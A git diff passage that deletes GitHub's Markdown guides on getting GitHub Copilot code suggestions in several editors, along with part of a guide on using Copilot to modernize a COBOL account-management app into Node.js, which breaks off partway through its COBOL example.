The exact suggestion may vary. - -Now hover over the suggestion to show the {% data variables.product.prodname_copilot %} control for choosing suggestions. To accept only the next word of the suggestion, click **Accept Word** in the control. - -Alternatively, you can use a keyboard shortcut to accept the next word of a suggestion: - -| OS | Accept Next Word | Accept Next Line | -| :- | :- | :- | -|macOS|<kbd>Command</kbd>+<kbd>→</kbd>|<kbd>Command</kbd>+<kbd>Control</kbd>+<kbd>→</kbd>| -|Windows or Linux|<kbd>Control</kbd>+<kbd>→</kbd>|<kbd>Control</kbd>+<kbd>Alt</kbd>+<kbd>→</kbd>| - -If you want to accept the next line of a suggestion, you will need to set a custom keyboard shortcut for the command `editor.action.inlineSuggest.acceptNextLine`. For more information on setting custom keyboard shortcuts, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-github-copilot-in-your-environment). - -{% endjetbrains %} - -{% visualstudio %} - -## About {% data variables.product.prodname_copilot %} and {% data variables.product.prodname_vs %} - -This guide demonstrates how to get coding suggestions from {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %} for Windows. To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -The examples in this guide use C#, however other languages will work similarly. {% data reusables.copilot.supported-languages %} - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in Visual Studio, you need either an active {% data variables.product.prodname_copilot_short %} subscription (such as {% data variables.product.prodname_copilot_pro_short %}, {% data variables.product.prodname_copilot_enterprise_short %}, or {% data variables.product.prodname_copilot_business_short %}) or access through {% data variables.product.prodname_copilot_free_short %}, which provides limited functionality. {% data reusables.copilot.subscription-prerequisite %} - -{% data reusables.copilot.visual-studio-prerequisites %} - -## Getting code suggestions - -{% data variables.product.prodname_copilot %} offers coding suggestions as you type. For example, type this function -signature in a C# file: - -```csharp copy -int CalculateDaysBetweenDates( -``` - -{% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text. {% data reusables.copilot.accept-suggestion %} - -You can also describe something you want to do using natural language within a comment, and {% data variables.product.prodname_copilot_short %} will suggest the code to accomplish your goal. For example, type this comment in the C# file: - -```csharp copy -using System.Xml.Linq; - -var doc = XDocument.Load("index.xhml"); - -// find all images -``` - -{% data variables.product.prodname_copilot %} will suggest an implementation of the function. {% data reusables.copilot.accept-suggestion %} - -> [!TIP] -> If you receive limited or no suggestions from {% data variables.product.prodname_copilot_short %}, you may have duplication detection enabled. For more information about duplication detection, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom#enabling-or-disabling-suggestions-matching-public-code). - -## Showing alternative suggestions - -{% data reusables.copilot.alternative-suggestions %} - -For example, type this function signature in a C# file: - -```csharp copy -int CalculateDaysBetweenDates( -``` - -{% data variables.product.prodname_copilot %} will show you a suggestion. - -Now hover over the suggestion to show the {% data variables.product.prodname_copilot %} control for choosing suggestions. To display next or previous suggestions, click the forward or back arrow button in the control. - -Alternatively, you can show alternate suggestions by pressing <kbd>Alt</kbd>+<kbd>.</kbd> (or <kbd>Alt</kbd>+<kbd>,</kbd>) on your keyboard. - -{% data reusables.copilot.accept-or-reject-suggestion %} - -## Getting comment suggestions - -> [!NOTE] -> * Comment suggestions are currently in {% data variables.release-phases.public_preview %} and are subject to change. -> * Comment suggestions are available in {% data variables.product.prodname_vs %} 17.14 Preview 2 and later. - -{% data variables.product.prodname_copilot %} can suggest comments for your code, by analyzing the code you write and generating comments that describe what the code does. For {% data variables.product.prodname_copilot_free_short %} users, comment suggestions count towards your monthly {% data variables.product.prodname_copilot_chat_short %} usage, not your code suggestions usage. - -Comment suggestions are available in the following languages: - -* C# -* C++ - -### Enabling comment suggestions - -To enable comment suggestions, you need to configure the comment style in {% data variables.product.prodname_vs %}. - -#### For C++ - -1. In {% data variables.product.prodname_vs %}, in the **Tools** menu, click **Options**. -1. In the left-side panel, click **Text Editor**. -1. Click **C++**, then **Code Style**, then **General**. -1. Under "Comments", select **Xml Doc Comments** from the dropdown. -1. Select **Insert existing comment style at the start of new lines when writing comments** and **Continue single line comments.** - -#### For C# - -1. In {% data variables.product.prodname_vs %}, in the **Tools** menu, click **Options**. -1. In the left-side panel, click **Text Editor**. -1. Click **C#**, then **Advanced**. -1. Under "Comments", select **Generate XML documentation comments for ///**, **Insert // at the start of new lines when writing // comments**, and **Insert \* at the start of new lines when writing /\* \*/ comments.** - -### Using comment suggestions - -To initiate comment suggestions, type the standard comment initiator for the language you are writing in (for example, `///`), before the code you want to comment, and wait for the suggestion to appear. - -To accept the suggestion, press <kbd>Tab</kbd>. To modify the suggestion, press <kbd>Alt</kbd>+<kbd>/</kbd>. To reject the suggestion, press <kbd>Esc</kbd>. - -{% endvisualstudio %} - -{% vscode %} - -## About {% data variables.product.prodname_copilot %} and {% data variables.product.prodname_vscode %} - -This guide demonstrates how to get coding suggestions from {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}. To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -{% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode_shortname %} provides two kinds of suggestions: - -* **Code completions**. {% data variables.product.prodname_copilot_short %} offers coding suggestions as you type. You can also describe something you want to do using natural language within a comment, and {% data variables.product.prodname_copilot_short %} will suggest the code to accomplish your goal. -* **{% data variables.copilot.next_edit_suggestions_caps %} ({% data variables.release-phases.public_preview %})**. Based on the edits you are making, {% data variables.product.prodname_copilot_short %} will predict the location of the next edit you are likely to make and suggest a completion for it. - -The examples in this guide use JavaScript, however other languages will work similarly. {% data reusables.copilot.supported-languages %} - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you need either an active {% data variables.product.prodname_copilot_short %} subscription (such as {% data variables.product.prodname_copilot_pro_short %}, {% data variables.product.prodname_copilot_enterprise_short %}, or {% data variables.product.prodname_copilot_business_short %}) or access through {% data variables.product.prodname_copilot_free_short %}, which provides limited functionality. {% data reusables.copilot.subscription-prerequisite %} - -* **Sign in to {% data variables.product.github %} in {% data variables.product.prodname_vscode %}**. See [Set up {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/docs/copilot/setup) in the {% data variables.product.prodname_vscode_shortname %} documentation.. - -* **{% data variables.product.prodname_vscode %}**. To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must have {% data variables.product.prodname_vscode %} installed. For more information, see the [{% data variables.product.prodname_vscode %} download page](https://code.visualstudio.com/Download). - -* **{% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode %}**. When you set up {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} for the first time, the required extensions are installed automatically. You don't need to download or install them manually. For detailed instructions, see [Set up {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/docs/copilot/setup) in the {% data variables.product.prodname_vscode %} documentation. - -## Getting code suggestions - -{% data variables.product.prodname_copilot %} offers coding suggestions as you type. For example, type this function header in a JavaScript file: - -```javascript copy -function calculateDaysBetweenDates(begin, end) { -``` - -{% data variables.product.prodname_copilot %} will automatically suggest the rest of the function. {% data reusables.copilot.accept-suggestion %} - -You can also describe something you want to do using natural language within a comment, and {% data variables.product.prodname_copilot_short %} will suggest the code to accomplish your goal. For example, type this comment in a JavaScript file: - -```javascript copy -// write a function to -// find all images without alternate text -// and give them a red border -``` - -{% data variables.product.prodname_copilot %} will automatically suggest code. {% data reusables.copilot.accept-suggestion %} - -> [!TIP] -> If you receive limited or no suggestions from {% data variables.product.prodname_copilot_short %}, you may have duplication detection enabled. For more information about duplication detection, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom#enabling-or-disabling-suggestions-matching-public-code). - -## Showing alternative suggestions - -{% data reusables.copilot.alternative-suggestions %} - -For example, type this function header in a JavaScript file, and press <kbd>Enter</kbd>: - -```javascript copy -function calculateDaysBetweenDates(begin, end) { -``` - -{% data variables.product.prodname_copilot %} will show you a suggestion. - -Now hover over the suggestion to show the {% data variables.product.prodname_copilot %} control for choosing suggestions. To display next or previous suggestions, click the forward or back arrow button in the control. - -You can also use keyboard shortcuts to show alternative suggestions: - -| OS | See next suggestion | See previous suggestion | -| :------ | :---------------------------------------- | :---------------------------------------- | -| macOS | <kbd>Option (⌥) or Alt</kbd>+<kbd>]</kbd> | <kbd>Option (⌥) or Alt</kbd>+<kbd>[</kbd> | -| Windows or Linux | <kbd>Alt</kbd>+<kbd>]</kbd> | <kbd>Alt</kbd>+<kbd>[</kbd> | - -{% data reusables.copilot.accept-or-reject-suggestion %} - -## Showing multiple suggestions in a new tab - -{% data reusables.copilot.suggestions-new-tab %} - -For example, type this function header in a JavaScript file, and press <kbd>Enter</kbd>: - -```javascript copy -function calculateDaysBetweenDates(begin, end) { -``` - -{% data variables.product.prodname_copilot %} will show you a suggestion. Now press <kbd>Ctrl</kbd>+<kbd>Enter</kbd> to open a new tab with multiple additional options. - -To accept a suggestion, below the suggestion, click **Accept suggestion NUMBER**. To reject all suggestions, close the tab. - -## Accepting partial suggestions - -If you don't want to accept an entire suggestion from {% data variables.product.prodname_copilot %}, you can accept the next word or the next line of a suggestion. - -For example, type this function header in a JavaScript file, and press <kbd>Enter</kbd>: - -```javascript copy -function calculateDaysBetweenDates(begin, end) { -``` - -{% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text. The exact suggestion may vary. - -Now hover over the suggestion to show the {% data variables.product.prodname_copilot %} control for choosing suggestions. To accept only the next word of the suggestion, click **Accept Word** in the control. - -Alternatively, you can use a keyboard shortcut to accept the next word of a suggestion: - -| OS | Accept Next Word | -| :- | :- | -|macOS|<kbd>Command</kbd>+<kbd>→</kbd>| -|Windows or Linux |<kbd>Control</kbd>+<kbd>→</kbd>| - -If you want to accept the next line of a suggestion, you will need to set a custom keyboard shortcut for the command `editor.action.inlineSuggest.acceptNextLine`. For more information on setting custom keyboard shortcuts, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-github-copilot-in-your-environment). - -## About {% data variables.copilot.next_edit_suggestions %} - -> [!NOTE] {% data variables.copilot.next_edit_suggestions_caps %} is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -Inline suggestions autocomplete code, but many development tasks involve editing existing code. {% data variables.copilot.next_edit_suggestions_caps %} assists with edits both at the cursor and in other relevant parts of the code, helping maintain consistency and streamline changes. - -{% data variables.copilot.next_edit_suggestions_caps %} predicts where and what edits may be needed based on ongoing changes. Suggestions may span a single symbol, an entire line, or multiple lines, depending on the scope of the potential change. - -To enable {% data variables.copilot.next_edit_suggestions %}, see [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-your-environment#enabling-next-edit-suggestions). - -### Navigating and accepting suggestions - -You can navigate suggested code changes using <kbd>Tab</kbd>, making it easier to find the next relevant edit without manually searching through files or references. Press <kbd>Tab</kbd> again to accept a suggestion. - -An arrow in the gutter indicates an available edit suggestion. Hover over the arrow to access the edit suggestion menu, which provides keyboard shortcuts and settings options. If an edit suggestion is outside the current editor view, the arrow will point up or down to indicate where the next suggestion is. - -![Screenshot of the gutter menu in {% data variables.product.prodname_vscode %}. The arrow is outlined in dark orange.](/assets/images/help/copilot/vsc-advanced-code-completion-menu.png) - -For more details and examples, see [Code completions with {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode_shortname %}](https://aka.ms/gh-copilot-nes-docs) in the {% data variables.product.prodname_vscode %} documentation. - -## Changing the AI model - -You can change the large language model that's used to generate code completion suggestions. For more information, see [AUTOTITLE](/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-code-completion). - -{% endvscode %} - -{% vimneovim %} - -## About {% data variables.product.prodname_copilot %} and Vim/Neovim - -This guide demonstrates how to get coding suggestions from {% data variables.product.prodname_copilot %} in Vim/Neovim. To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in Vim/Neovim, you need either an active {% data variables.product.prodname_copilot_short %} subscription (such as {% data variables.product.prodname_copilot_pro_short %}, {% data variables.product.prodname_copilot_enterprise_short %}, or {% data variables.product.prodname_copilot_business_short %}) or access through {% data variables.product.prodname_copilot_free_short %}, which provides limited functionality. {% data reusables.copilot.subscription-prerequisite %} - -* **Compatible version of Vim/Neovim**. To use {% data variables.product.prodname_copilot %} in Vim/Neovim you must have Vim version 9.0.0185 / Neovim version 0.6 or above and Node.js version 18 or above installed. For more information, see the [Vim](https://vimhelp.org/) / [Neovim documentation](https://neovim.io/doc/) and the [Node.js website](https://nodejs.org/en/). - -* **{% data variables.product.prodname_copilot %} extension for Vim/Neovim**. To use {% data variables.product.prodname_copilot %} in Vim/Neovim, you must install the {% data variables.product.prodname_copilot %} plugin. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment). - -## Learning to use {% data variables.product.prodname_copilot %} in Vim/Neovim - -{% data variables.product.prodname_copilot %} provides suggestions inline as you type in Vim/Neovim. To accept a suggestion, press the <kbd>tab</kbd> key. - -For more information and guidance on using {% data variables.product.prodname_copilot %} in Vim/Neovim run the following command to view the plugin documentation: - -```shell copy -:help copilot -``` - -{% endvimneovim %} - -{% azure_data_studio %} - -## About {% data variables.product.prodname_copilot %} and Azure Data Studio - -This guide demonstrates how to get coding suggestions from {% data variables.product.prodname_copilot %} in Azure Data Studio. To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in Azure Data Studio, you need either an active {% data variables.product.prodname_copilot_short %} subscription (such as {% data variables.product.prodname_copilot_pro_short %}, {% data variables.product.prodname_copilot_enterprise_short %}, or {% data variables.product.prodname_copilot_business_short %}) or access through {% data variables.product.prodname_copilot_free_short %}, which provides limited functionality. {% data reusables.copilot.subscription-prerequisite %} - -* **Compatible version of Azure Data Studio**. To use {% data variables.product.prodname_copilot %} in Azure Data Studio, you must have Azure Data Studio version 1.44.0 or later installed. For more information, see the [Azure Data Studio download page](https://docs.microsoft.com/sql/azure-data-studio/download-azure-data-studio) in the Azure Data Studio documentation. - -* **{% data variables.product.prodname_copilot %} extension for Azure Data Studio**. To use {% data variables.product.prodname_copilot %} in Azure Data Studio, you must install the {% data variables.product.prodname_copilot %} extension. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment). - -## Getting code suggestions - -{% data variables.product.prodname_copilot %} can provide you with inline suggestions as you create SQL databases in Azure Data Studio. For example, if you're writing a query that joins two tables, {% data variables.product.prodname_copilot_short %} may suggest the join condition from columns in the open editor, other files in the workspace, and common syntax patterns. - -In a SQL file, type the following query: - -```sql copy -SELECT [UserId], [Red], [Orange], [Yellow], [Green], [Blue], [Purple], [Rainbow] -FROM [Tag].[Scoreboard] -INNER JOIN -``` - -{% data variables.product.prodname_copilot %} will automatically suggest a join condition in grayed text. The exact suggestion may vary. {% data reusables.copilot.accept-suggestion %} - -You can also describe something you want to do using natural language within a comment, and {% data variables.product.prodname_copilot_short %} will suggest the code to accomplish your goal. For example, type this comment in a SQL file: - -```sql copy -SELECT TokenColor, COUNT(UserID) AS UserCount -FROM Tag.Users -GROUP BY TokenColor --- pivot that query on tokencolor for Purple, Blue, Green, Yellow, Orange, Red --- and rename the columns to match the colors -SELECT [Purple], [Blue], [Green], [Yellow], [Orange], [Red] -``` - -{% data variables.product.prodname_copilot %} will automatically suggest code. {% data reusables.copilot.accept-suggestion %} - - > [!TIP] - > If you receive limited or no suggestions from {% data variables.product.prodname_copilot_short %}, you may have duplication detection enabled. For more information on duplication detection, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom#enabling-or-disabling-suggestions-matching-public-code). - -## Showing alternative suggestions - -For some suggestions, {% data variables.product.prodname_copilot %} may provide multiple alternatives. You can select which suggestion you want to use, or reject all suggestions. - -For example, type this query in a SQL file: - -```sql copy -SELECT [UserId], [Red], [Orange], [Yellow], [Green], [Blue], [Purple], [Rainbow] -FROM [Tag].[Scoreboard] -INNER JOIN -``` - -{% data variables.product.prodname_copilot %} will show you a suggestion. - -Now hover over the suggestion to show the {% data variables.product.prodname_copilot %} control for choosing suggestions. To display next or previous suggestions, click the forward or back arrow button in the control. - -You can also use keyboard shortcuts to show alternative suggestions: - -| OS | See next suggestion | See previous suggestion | -| :------ | :----------------------------- | :----------------------------- | -| macOS | <kbd>Option</kbd>+<kbd>[</kbd> | <kbd>Option</kbd>+<kbd>]</kbd> | -| Windows or Linux | <kbd>Alt</kbd>+<kbd>[</kbd> | <kbd>Alt</kbd>+<kbd>]</kbd> | - -To accept a suggestion, click "Accept" in the {% data variables.product.prodname_copilot_short %} control, or press <kbd>Tab</kbd>. To reject all suggestions, press <kbd>Esc</kbd>. - -## Accepting partial suggestions - -If you don't want to accept an entire suggestion from {% data variables.product.prodname_copilot %}, you can accept the next word or the next line of a suggestion. - -For example, type this query in a SQL file: - -```sql copy -SELECT [UserId], [Red], [Orange], [Yellow], [Green], [Blue], [Purple], [Rainbow] -FROM [Tag].[Scoreboard] -INNER JOIN -``` - -{% data variables.product.prodname_copilot %} will show you a suggestion in grayed text. The exact suggestion may vary. - -Now hover over the suggestion to show the {% data variables.product.prodname_copilot %} control for choosing suggestions. To accept only the next word of the suggestion, click **Accept Word** in the control. - -Alternatively, you can use a keyboard shortcut to accept the next word of a suggestion: - -| OS | Accept Next Word | -| :------ | :------------------------------ | -| macOS | <kbd>Command</kbd>+<kbd>→</kbd> | -| Windows or Linux | <kbd>Control</kbd>+<kbd>→</kbd> | - -If you want to accept the next line of the suggestion, you will need to set a custom keyboard shortcut for the command `editor.action.inlineSuggest.acceptNextLine`. For more information on setting custom keyboard shortcuts, see [Keyboard shortcuts in Azure Data Studio](https://learn.microsoft.com/en-us/azure-data-studio/keyboard-shortcuts) in the Microsoft documentation. - -{% endazure_data_studio %} - -{% xcode %} - -## About {% data variables.product.prodname_copilot %} in Xcode - -This guide demonstrates how to get coding suggestions from {% data variables.product.prodname_copilot %} in Xcode. To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Prerequisites - -To use {% data variables.product.prodname_copilot %} for Xcode, you must install the {% data variables.product.prodname_copilot %} for Xcode extension. See [AUTOTITLE](/copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment). - -## Getting code suggestions - -{% data variables.product.prodname_copilot %} offers coding suggestions as you type. For example, type this function -signature in a Swift file: - -```swift copy -func calculateDaysBetweenDates( -``` - -{% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text. To accept the first line of a suggestion, press <kbd>Tab</kbd>. To view the full suggestion, hold <kbd>Option</kbd>, and to accept the full suggestion, press <kbd>Option</kbd>+<kbd>Tab</kbd>. - -### Improving code suggestions - -If you encounter issues with code suggestions, such as conflicting or missing suggestions, you can try the following: - -* **Disable Xcode's native predictive text completion:** To avoid receiving two sets of code suggestions, you can disable Xcode's native predictive text completion. You can find this setting in the Xcode settings in the "Editing" tab under "Text Editing". -* **Check for duplication detection in {% data variables.product.prodname_copilot_short %}:** If you receive limited or no suggestions from {% data variables.product.prodname_copilot_short %}, you may have duplication detection enabled. For more information on duplication detection, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom#enabling-or-disabling-suggestions-matching-public-code). -* **Check for updates and restart Xcode:** Ensure you have the latest version of {% data variables.product.prodname_copilot_short %} for Xcode in the extension application and restart Xcode. - -You can also open an issue in the [{% data variables.product.prodname_copilot_short %} for Xcode repository](https://github.com/github/CopilotForXcode). - -{% endxcode %} - -{% eclipse %} - -## About {% data variables.product.prodname_copilot %} and Eclipse - -This guide demonstrates how to get coding suggestions from {% data variables.product.prodname_copilot %} in Eclipse. To see instructions for other popular coding environments, use the tool switcher at the top of the page. - -## Prerequisites - -To use {% data variables.product.prodname_copilot %} in Eclipse, you must install the {% data variables.product.prodname_copilot %} extension. See [AUTOTITLE](/copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment?tool=eclipse). - -## Getting code suggestions - -{% data variables.product.prodname_copilot %} offers coding suggestions as you type. For example, type this function header in a Java file: - -```java copy -public int getDiff(int a, int b) -``` - -{% data variables.product.prodname_copilot %} will automatically suggest the rest of the function. {% data reusables.copilot.accept-suggestion %} -To discard the suggestion, press <kbd>Esc</kbd>. - -You can also describe something you want to do using natural language within a comment, and {% data variables.product.prodname_copilot_short %} will suggest the code to accomplish your goal. For example, type this comment in a Java file: - -```java copy -/* - * Return the difference between two different integers. - */ -``` - -{% data variables.product.prodname_copilot %} will automatically suggest code. - -> [!TIP] -> If you receive limited or no suggestions from {% data variables.product.prodname_copilot_short %}, you may have duplication detection enabled. For more information about duplication detection, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-your-personal-github-copilot-settings-on-githubcom#enabling-or-disabling-suggestions-matching-public-code). - -## Manually triggering code completion - -You can also use keyboard shortcuts to trigger code completion. - -| OS | Trigger code completion | -|:-----------------|:--------------------------------------------------| -| macOS | <kbd>Option</kbd>+<kbd>Command</kbd>+<kbd>/</kbd> | -| Windows or Linux | <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>/</kbd> | - -## Accepting partial suggestions - -If you don't want to accept an entire suggestion from {% data variables.product.prodname_copilot_short %}, you can accept the next word of a suggestion. - -| OS | Accept next word | -|:-----------------|:-------------------------------------| -| macOS | <kbd>Command</kbd>+<kbd>→</kbd> | -| Windows or Linux | <kbd>Ctrl</kbd>+<kbd>→</kbd> | - -{% endeclipse %} - -## Next steps - -* **Learn how to write effective prompts** - See [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot). -* **Configure {% data variables.product.prodname_copilot_short %} in your editor** - You can enable or disable {% data variables.product.prodname_copilot %} from within your editor, and create your own preferred keyboard shortcuts for {% data variables.product.prodname_copilot_short %}. See [AUTOTITLE](/copilot/configuring-github-copilot/configuring-github-copilot-in-your-environment). -* **Get started with {% data variables.product.prodname_copilot_chat %}** - Learn how to ask {% data variables.product.prodname_copilot_short %} for information and assistance, using {% data variables.product.prodname_copilot_chat %}. See [AUTOTITLE](/copilot/github-copilot-chat/using-github-copilot-chat-in-your-ide){% ifversion ghec %} and [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom){% endif %}. -* **Troubleshoot issues** - Learn more about how to troubleshoot common issues with {% data variables.product.prodname_copilot %}. See [AUTOTITLE](/copilot/troubleshooting-github-copilot). diff --git a/content/copilot/using-github-copilot/guides-on-using-github-copilot/index.md b/content/copilot/using-github-copilot/guides-on-using-github-copilot/index.md deleted file mode 100644 index a7eb689f7d06..000000000000 --- a/content/copilot/using-github-copilot/guides-on-using-github-copilot/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Guides on using GitHub Copilot -shortTitle: Guides -intro: 'Learn how to optimize your use of {% data variables.product.prodname_copilot %} for various use cases.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/using-github-copilot/example-use-cases -children: - - /refactoring-code-with-github-copilot - - /using-copilot-to-migrate-a-project - - /writing-tests-with-github-copilot - - /modernizing-legacy-code-with-github-copilot ---- diff --git a/content/copilot/using-github-copilot/guides-on-using-github-copilot/modernizing-legacy-code-with-github-copilot.md b/content/copilot/using-github-copilot/guides-on-using-github-copilot/modernizing-legacy-code-with-github-copilot.md deleted file mode 100644 index d9f29f149d2d..000000000000 --- a/content/copilot/using-github-copilot/guides-on-using-github-copilot/modernizing-legacy-code-with-github-copilot.md +++ /dev/null @@ -1,394 +0,0 @@ ---- -title: Modernizing legacy code with GitHub Copilot -shortTitle: Modernize legacy code -intro: '{% data variables.product.prodname_copilot_chat_short %} helps modernize legacy code by suggesting refactors and creating tests to catch potential issues.' -versions: - feature: copilot -topics: - - Copilot ---- - -> [!NOTE] The responses shown in this article are examples. {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get different responses from the ones shown here. - -Legacy code is code that is old, outdated, or no longer supported by the original developers. It can be difficult to maintain and extend because it may not follow modern best practices, such as using consistent naming conventions or writing clear documentation. - -Modernizing legacy code can help you: - -* Improve performance and scalability. -* Make the code easier to maintain and extend. -* Reduce the risk of introducing bugs when making changes. -* Make the code easier to test. - -{% data variables.product.prodname_copilot_short %} can help you modernize your legacy code by: - -* **Providing suggestions** for refactoring the code to follow modern best practices. -* **Generating documentation** to help you understand how the code works. -* **Generating tests** to help you verify that your changes haven't introduced bugs. - -## Example scenario - -In this example, we’ll be looking at an account management system written in COBOL and modernizing it into Node.js. You can find the COBOL code in the [`modernize-legacy-cobol-app` repository](https://github.com/continuous-copilot/modernize-legacy-cobol-app). - -The account management system consists of three key files: - -* `main.cob`: The main program that reads input from the user and calls the appropriate subprogram. -* `operations.cob`: A subprogram that performs operations on the account data, such as credit, debit, and view balance. -* `data.cob`: A subprogram that manages the storage of the account balance. - -## Step 1: Get a local copy of the repository - -Before you compile and run the program, you need to have the code locally. If you haven't already cloned the repository, navigate to the directory where you want to store the project and run the following command: - -```shell copy -git clone https://github.com/continuous-copilot/modernize-legacy-cobol-app.git -``` - -## Step 2: Compile and run the program - -You can either install a COBOL compiler in your preferred development environment (for example, the open source GnuCOBOL compiler), or use {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_github_codespaces %}. - -If you use MacOS, you can install GnuCOBOL using [Homebrew](https://brew.sh/): - -```shell copy -brew install gnu-cobol -``` - -If you use {% data variables.product.prodname_codespaces %} or an Ubuntu Linux system, you can install GnuCOBOL using `apt`: - -```shell copy -sudo apt-get update && \ -sudo apt-get install gnucobol -``` - -To compile the code, link the files, and create an executable, run the following command from the root of the repository: - -```shell copy -cobc -x main.cob operations.cob data.cob -o accountsystem -``` - -To run the program, use the following command: - -```shell copy -./accountsystem -``` - -## Step 3: Explain the files and code - -The first step in modernizing the code is to understand how it works. You can ask {% data variables.product.prodname_copilot_chat_short %} to explain the code in each file. - -Open the repository in your IDE then, in the {% data variables.product.prodname_copilot_chat_short %} panel, enter the following prompt. - -### Example prompt 1 - -`/explain #file:main.cob #file:operations.cob #file:data.cob Can you please create a high level overview of the app. It will be great if you can explain each file in detail and how they are linked.` - -### Example response 1 - -This is an excerpt from the response to the prompt above: - -`Sure! Here's a high-level overview of the COBOL application, along with detailed explanations of each file and how they are linked together.` - -`High-Level Overview` - -`This COBOL application simulates an account management system. It allows users to view the current balance, credit the account, debit the account, and exit the application. The application is divided into three main COBOL source files: main.cob, operations.cob, and data.cob. ...` - -## Step 4: Chart out the data flow between the files - -The next step is to understand how the files are linked together. You can use `@workspace` to create a data flow diagram for the application. - -> [!NOTE] -> The `@workspace` chat participant in {% data variables.product.prodname_vscode_shortname %} and {% data variables.product.prodname_vs %} provides {% data variables.product.prodname_copilot_short %} with context about all of the code in your workspace. You can use `@workspace` when you want {% data variables.product.prodname_copilot_short %} to consider the structure of your project and how different parts of your code interact. If you're using a JetBrains IDE, use `@project` rather than `@workspace`. - -### Example prompt 2 - -`@workspace can you create a sequence diagram of the app showing the data flow of the app. Please create this in mermaid format so that I can render this in a markdown file.` - -{% data variables.product.prodname_copilot_short %} outputs the Mermaid markup for a full sequence diagram that shows how the application works. You can copy and paste this markup into a Mermaid application to generate the diagram. - -## Step 5: Generate a test plan - -Create a test plan to ensure that the application works as expected after you make changes. You can use `@workspace` to generate a test plan that covers all of the files in the project. - -### Example prompt 3 - -```shell -@workspace The current Cobol app has no tests. Can you please create a test plan of current business logic that I can use to validate with business stakeholders about the current implementation. - -Later I would like to use this test plan to create unit and integration tests in a node.js app. I am in the middle of transforming the current Cobol app to a node.js app. - -The test plan should include the following: - -1. Test Case ID -2. Test Case Description -3. Pre-conditions -4. Test Steps -5. Expected Result -6. Actual Result -7. Status (Pass/Fail) -8. Comments - -Please create the test plan in a markdown table format. The test plan should cover all the business logic in the current Cobol app. - -Convert this to markdown syntax to insert as a new file -``` - -{% data variables.product.prodname_copilot_short %} outputs a test plan in Markdown format that you can use to validate the application. To use this plan later in the process, create a file called `TESTPLAN.md` and copy the suggested plan into it. This will allow you to reference the test plan when generating test cases in the next steps. - -## Step 6: Convert the files from COBOL to Node.js - -The next step is to convert the COBOL files to Node.js. It's important to keep the following prompt practices in mind: - -* Provide context -* Give clear directions -* Be specific about the outcome you want to achieve - -Start by creating a temporary directory within your project, in which to save the JavaScript files you're going to create. - -```shell copy -mkdir temp-JS-project-directory -``` - -Then, iteratively convert the COBOL files to Node.js. - -### Example prompt 4 - -`Can you convert code in #file:main.cob to node.js?` - -### Example response 4 - -```shell -Sure! Here is the equivalent Node.js code for the main.cob file. This code will simulate the same account management system functionality. - -### COBOL Code: - -main.cob - - -```COBOL -IDENTIFICATION DIVISION. - PROGRAM-ID. MainProgram. - - DATA DIVISION. - WORKING-STORAGE SECTION. - 01 CONTINUE-FLAG PIC X VALUE 'Y'. - 01 USER-CHOICE PIC 9. - 01 FINAL-BALANCE PIC 9(6)V99 VALUE 1000.00. - - PROCEDURE DIVISION. - PERFORM UNTIL CONTINUE-FLAG = 'N' - DISPLAY "1. View Balance" - DISPLAY "2. Credit Account" - DISPLAY "3. Debit Account" - DISPLAY "4. Exit" - ACCEPT USER-CHOICE - - EVALUATE USER-CHOICE - WHEN 1 - CALL 'Operations' USING 'TOTAL' - WHEN 2 - CALL 'Operations' USING 'CREDIT' - WHEN 3 - CALL 'Operations' USING 'DEBIT' - WHEN 4 - MOVE 'N' TO CONTINUE-FLAG - DISPLAY "Exiting the program. Goodbye!" - WHEN OTHER - DISPLAY "Invalid choice. Please try again." - 